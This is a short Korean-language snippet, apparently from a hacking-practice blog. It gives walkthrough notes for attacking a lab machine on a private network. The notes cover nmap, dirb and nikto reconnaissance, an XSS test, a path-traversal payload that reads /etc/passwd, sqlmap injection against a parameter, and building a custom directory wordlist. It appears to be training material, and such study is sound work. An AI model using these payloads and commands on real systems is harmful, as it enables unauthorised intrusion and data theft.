해커린이

# nmap -sn 192.168.1.11-20# nmap -A 192.168.1.12 # dirb http:// 192.168.1.12# nikto -h 192.168.1.12:80   http://192.168.1.12/index.html?page=blog&title=Blog&id=2’ 검색창에 XSS 터짐          index.html?page=../../../../../../etc/passwd%00 # sqlmap -u http://192.168.1.103/index.html?page=blog&title=Blog&id=2 -p id  ssh 접속 이 연습을 통해 무엇을 배웠나요?SQL 주입 취약점 및 잠재적인 SQL 주입을 발견하기 위한 수동 방법SQLMAP 도구를 사용하여 SQL 주입을 자..

웹디렉터리 검색시 아래 파일리스트 작성# cd /usr/share/dirb/wordlists# mv common.txt common_old.txt# vi common.txtimgimageimagesadminadmmanagermastersystemdocumenticonsprfilesfiles/attach/imagesdatadowndownloadupuploadcssjs%3f.jsp# dirb http://127.0.0.1